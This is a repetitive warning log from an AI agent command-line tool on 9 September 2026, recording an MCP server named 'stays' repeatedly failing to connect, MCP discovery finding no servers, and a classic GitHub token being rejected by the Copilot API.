failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 05:34:16,843 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 05:39:23,915 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 05:44:32,267 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 05:49:38,953 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 05:54:45,793 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 05:59:54,284 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 06:05:02,194 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 06:10:10,605 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 06:15:18,290 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 06:20:25,519 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 06:25:32,864 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 06:30:40,908 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 06:35:48,462 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 06:40:56,054 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 06:46:02,799 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 06:51:10,076 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 06:56:17,362 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 07:01:25,010 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 07:06:32,779 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 07:11:40,431 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 07:16:47,592 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 07:21:54,875 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 07:27:01,554 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 07:32:08,252 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 07:37:14,802 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 07:42:22,820 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 07:47:30,452 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 07:52:36,860 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 07:57:43,339 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 08:02:50,993 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 08:07:57,609 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 08:13:05,287 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 08:18:13,014 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 08:23:19,640 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 08:28:26,515 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 08:33:33,915 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 08:38:41,325 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 08:43:48,234 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 08:48:56,222 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 08:54:03,135 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 08:59:10,080 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 08:59:58,670 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-09 08:59:58,670 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-09 09:00:08,679 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-09 09:00:08,718 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-09 09:00:08,724 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-09 09:00:08,760 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-09 09:00:16,793 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 09:05:24,016 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 09:10:30,762 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 09:15:38,302 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 09:20:46,186 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 09:25:54,126 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 09:31:01,685 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 09:36:09,820 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 09:41:17,237 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 09:46:24,940 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 09:51:32,106 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 09:56:38,785 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 10:01:46,433 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 10:06:54,521 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 10:12:01,640 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 10:17:11,756 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 10:22:18,907 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 10:27:26,294 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 10:32:33,469 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 10:37:40,295 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 10:42:48,278 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 10:47:54,981 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 10:53:02,791 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 10:58:10,220 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 11:03:18,371 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 11:08:26,334 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 11:13:33,771 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 11:18:41,830 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 11:23:50,204 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 11:28:56,798 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 11:34:04,901 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 11:39:12,585 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 11:44:19,371 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 11:49:27,388 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 11:54:34,385 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 11:59:41,878 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 12:04:48,990 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 12:09:56,137 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 12:15:03,695 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 12:20:11,385 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 12:25:18,807 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 12:30:26,099 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 12:35:34,214 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 12:40:41,375 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 12:45:48,770 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 12:50:55,518 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 12:56:02,829 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 13:01:10,557 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 13:06:18,411 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 13:11:26,991 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 13:16:33,933 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 13:21:40,964 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 13:26:48,556 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 13:27:48,115 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-09 13:27:48,115 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-09 13:27:49,972 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-09 13:27:50,089 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-09 13:27:50,185 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-09 13:27:50,211 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-09 13:27:57,584 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 13:33:04,884 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 13:38:12,610 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 13:43:20,265 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 13:48:27,424 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 13:53:34,967 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 13:58:42,753 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 14:03:21,710 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-09 14:03:21,727 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-09 14:03:21,733 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-09 14:03:21,753 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-09 14:03:28,874 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 14:08:36,162 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 14:13:43,409 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 14:18:51,571 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 14:23:59,350 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 14:29:06,129 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 14:34:13,463 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 14:39:20,911 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 14:44:28,620 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 14:49:36,462 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 14:54:42,923 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 14:59:50,983 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 15:00:22,962 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-09 15:00:22,962 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-09 15:00:25,364 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-09 15:00:25,385 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-09 15:00:25,393 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-09 15:00:25,422 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-09 15:00:33,290 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 15:04:50,771 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-09 15:04:50,786 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-09 15:04:50,798 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-09 15:04:50,824 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-09 15:04:58,877 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 15:10:06,622 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 15:15:14,295 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 15:20:22,290 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 15:25:29,930 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 15:30:37,288 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 15:35:44,832 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 15:40:51,663 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 15:45:59,539 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 15:51:06,335 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 15:56:13,226 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 16:01:20,858 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 16:05:23,747 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-09 16:05:23,747 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-09 16:05:25,356 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-09 16:05:25,379 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-09 16:05:25,387 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-09 16:05:25,419 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-09 16:05:32,123 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 16:10:39,641 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 16:15:46,939 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 16:20:54,741 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 16:22:15,605 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-09 16:22:15,626 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-09 16:22:15,646 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-09 16:22:15,659 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-09 16:22:23,781 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 16:27:32,300 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 16:32:39,257 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 16:37:45,933 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 16:42:54,251 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 16:48:02,301 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 16:53:10,305 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 16:58:18,154 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 17:03:25,484 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 17:06:13,113 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-09 17:06:13,128 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-09 17:06:13,144 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-09 17:06:13,154 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-09 17:06:13,340 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-09 17:06:13,340 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-09 17:06:20,880 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 